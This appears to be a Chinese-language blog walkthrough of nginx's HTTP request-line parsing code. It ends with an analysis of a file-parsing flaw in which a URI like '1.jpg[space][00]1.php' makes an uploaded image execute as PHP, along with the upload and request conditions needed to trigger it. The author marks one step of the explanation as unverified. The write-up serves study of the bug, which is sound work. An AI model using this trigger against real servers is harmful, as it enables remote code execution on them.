    /* used to parse HTTP headers */

    ngx_uint_t                        state;

    ngx_uint_t                        header_hash;
    ngx_uint_t                        lowcase_index;
    u_char                            lowcase_header[NGX_HTTP_LC_HEADER_LEN];

    u_char                           *header_name_start;
    u_char                           *header_name_end;
    u_char                           *header_start;
    u_char                           *header_end;

    /*
     * a memory that can be reused after parsing a request line
     * via ngx_http_ephemeral_t
     */

    u_char                           *uri_start;
    u_char                           *uri_end;
    u_char                           *uri_ext;
    u_char                           *args_start;
    u_char                           *request_start;
    u_char                           *request_end;
    u_char                           *method_end;
    u_char                           *schema_start;
    u_char                           *schema_end;
    u_char                           *host_start;
    u_char                           *host_end;
    u_char                           *port_start;
    u_char                           *port_end;

    unsigned                          http_minor:16;
    unsigned                          http_major:16;
};

我们接下来再看一下ngx_buf_t类的结构成员

typedef struct ngx_buf_s  ngx_buf_t;

struct ngx_buf_s {
    u_char          *pos;
    u_char          *last;
    off_t            file_pos;
    off_t            file_last;

    u_char          *start;         /* start of buffer */
    u_char          *end;           /* end of buffer */
    ngx_buf_tag_t    tag;
    ngx_file_t      *file;
    ngx_buf_t       *shadow;


    /* the buf's content could be changed */
    unsigned         temporary:1;

    /*
     * the buf's content is in a memory cache or in a read only memory
     * and must not be changed
     */
    unsigned         memory:1;

    /* the buf's content is mmap()ed and must not be changed */
    unsigned         mmap:1;

    unsigned         recycled:1;
    unsigned         in_file:1;
    unsigned         flush:1;
    unsigned         sync:1;
    unsigned         last_buf:1;
    unsigned         last_in_chain:1;

    unsigned         last_shadow:1;
    unsigned         temp_file:1;

    /* STUB */ int   num;
};

结构成员名字的含义:

pos:当buf所指向的数据在内存里的时候,pos指向的是这段数据开始的位置。
last:当buf所指向的数据在内存里的时候,last指向的是这段数据结束的位置。
file_pos:当buf所指向的数据是在文件里的时候,file_pos指向的是这段数据的开始位置在文件中的偏移量。
file_last:当buf所指向的数据是在文件里的时候,file_last指向的是这段数据的结束位置在文件中的偏移量。
start:当buf所指向的数据在内存里的时候,这一整块内存包含的内容可能被包含在多个buf中(比如在某段数据中间插入了其他的数据,这一块数据就需要被拆分开)。那么这些buf中的start和end都指向这一块内存的开始地址和结束地址。而pos和last指向本buf所实际包含的数据的开始和结尾。
end:解释参见start。
tag:实际上是一个void*类型的指针,使用者可以关联任意的对象上去,只要对使用者有意义。
file:当buf所包含的内容在文件中时,file字段指向对应的文件对象。
shadow:当这个buf完整copy了另外一个buf的所有字段的时候,那么这两个buf指向的实际上是同一块内存,或者是同一个文件的同一部分,此时这两个buf的shadow字段都是指向对方的。那么对于这样的两个buf,在释放的时候,就需要使用者特别小心,具体是由哪里释放,要提前考虑好,如果造成资源的多次释放,可能会造成程序崩溃!
temporary:为1时表示该buf所包含的内容是在一个用户创建的内存块中,并且可以被在filter处理的过程中进行变更,而不会造成问题。
memory:为1时表示该buf所包含的内容是在内存中,但是这些内容却不能被进行处理的filter进行变更。
mmap:为1时表示该buf所包含的内容是在内存中, 是通过mmap使用内存映射从文件中映射到内存中的,这些内容却不能被进行处理的filter进行变更。
recycled:可以回收的。也就是这个buf是可以被释放的。这个字段通常是配合shadow字段一起使用的,对于使用ngx_create_temp_buf 函数创建的buf,并且是另外一个buf的shadow,那么可以使用这个字段来标示这个buf是可以被释放的。
in_file:为1时表示该buf所包含的内容是在文件中。
flush:遇到有flush字段被设置为1的的buf的chain,则该chain的数据即便不是最后结束的数据(last_buf被设置,标志所有要输出的内容都完了),也会进行输出,不会受postpone_output配置的限制,但是会受到发送速率等其他条件的限制。
sync:
last_buf:数据被以多个chain传递给了过滤器,此字段为1表明这是最后一个buf。
last_in_chain:在当前的chain里面,此buf是最后一个。特别要注意的是last_in_chain的buf不一定是last_buf,但是last_buf的buf一定是last_in_chain的。这是因为数据会被以多个chain传递给某个filter模块。
last_shadow:在创建一个buf的shadow的时候,通常将新创建的一个buf的last_shadow置为1。
temp_file:由于受到内存使用的限制,有时候一些buf的内容需要被写到磁盘上的临时文件中去,那么这时,就设置此标志 。
line:109
  enum {
        sw_start = 0,
        ...
}

定义了一个状态机,通过state的值来确定处理步骤。

line:139 state = r->state;

state被赋值为r->state,r->state的类型为ngx_uint_t,ngx_uint_t类型是在以下文件中声明的

文件:_src/core/ngx_config.h_

typedef uintptr_t       ngx_uint_t;

而uintptr_t类型的话,在Mac OS X中是在

_/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.11.sdk/usr/include/sys/_types/_uintptr_t.h_

中被声明

typedef unsigned long        uintptr_t;

可以看出uintptr_t类型实际上就是一个unsigned long类型,在《深入分析Linux内核源码》中的原因描述是这样的,

尽管在混合不同数据类型时你必须小心, 有时有很好的理由这样做. 一种情况是因为内存存取, 与内核相关时是特殊的. 概念上, 尽管地址是指针, 内存管理常常使用一个无符号的整数类型更好地完成; 内核对待物理内存如同一个大数组, 并且内存地址只是一个数组索引. 进一步地, 一个指针容易解引用; 当直接处理内存存取时, 你几乎从不想以这种方式解引用. 使用一个整数类型避免了这种解引用, 因此避免了 bug. 因此, 内核中通常的内存地址常常是 unsigned long, 利用了指针和长整型一直是相同大小的这个事实, 至少在 Linux 目前支持的所有平台上.

因为其所值的原因, C99 标准定义了 intptr_t 和 uintptr_t 类型给一个可以持有一个指针值的整型变量. 但是, 这些类型几乎没在 2.6 内核中使用

进行验证:

#include <stdio.h>

int main(){
    unsigned long a;
    int *b;
    printf("%d %d", sizeof(a), sizeof(b));
}

输出结果:

8 8
Process finished with exit code 0

​ 接下来进入了for循环里面,for循环里面的p的开始和结束分别为buff在内存中的开始(pos)和结束(last)。b->pos和b->last的类型是u_char,u_char是在MacOSX在_/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.11.sdk/usr/include/sys/types.h_中定义的。

line:84 typedef unsigned char     u_char;

所以pos和last分别储存了buff开始和结束的unsigned类型的两个字符。

line:141 for (p = b->pos; p < b->last; p++){...}

接着使用了一个for循环来控制指针的移动,ch为当前指针指向的字符。r->state的值为0

,所以第一次进入状态机进入了sw_start,如果第一个字符是CR(回车)或者LF(换行)就break,接下去再把指针p向后移动直到碰到非LF和CR,再进入下一个判断语句

if ((ch < 'A' || ch > 'Z') && ch != '_') {
    return NGX_HTTP_PARSE_INVALID_METHOD;
}

遇到A-Z和_之外的字符都返回一个解析错误。通过了这两项检查,会向后移动直到遇到一个空格,会进入method的判断,开发人员先判断了遇到的第一个空格之前字符的数量,根据数量再进入相应的case中去判断是什么method然后再将r->method设置为相应的method。

完成了以上对HTTP method的判断之后,进入了第二个判断sw_spaces_before_uri,

switch (ch) {
case ' ':
    break;
default:
    return NGX_HTTP_PARSE_INVALID_REQUEST;
}

这一段我们可以看出,只要遇到空格(space)指针就会就会往后移动,直到遇到'/'或者遇到字符A-Z。

c = (u_char) (ch | 0x20);
if (c >= 'a' && c <= 'z') {
    r->schema_start = p;
    state = sw_schema;
    break;
}

代码就是判断是否是sw_host_start,不是sw_host_start就判别为uri的开始,如果在:后碰到两个/并且如果[就进行ipv6的判断。

文字看起来没有图像直观,以下是解析的流程图nginx_http0.png

在sw_uri之后放置空格,case会进入sw_check_uri_http_09,这时候uri_ext和uri_end之间的值为Nginx判断的后缀,即如果让nginx解析的是以下的连接

http://www.lonelyrain.me/1.jpg[空格][零零]1.php

那么nginx会判定为jpg,到了case sw_check_uri_http_09中,遇到/00并不会进行处理,会使用default条件

nginx_http_1.png

default:
    r->space_in_uri = 1;
    state = sw_check_uri;
    break;

nginx_gdb_1.png

成功的没有让nginx对/00进行处理。

而后面.php成功的将uri_ext覆盖为了php,之后 nginx 就会将请求发送给 fastcgi 去解析,fastcgi查找文件会被00阻断[这里代码找不到,留个坑],于是漏洞就形成了。

nginx_burp.png
注意点就是jpg文件上传的时候必须带一个空格,触发的时候空格后面加一个00跟上.php就能触发了[security.limit_extensions没有限制的情况下]

Reference:

taobao,(2013)._nginx开发从入门到精通

囧囧有神,(2015)._nginx源码分析之http解码实现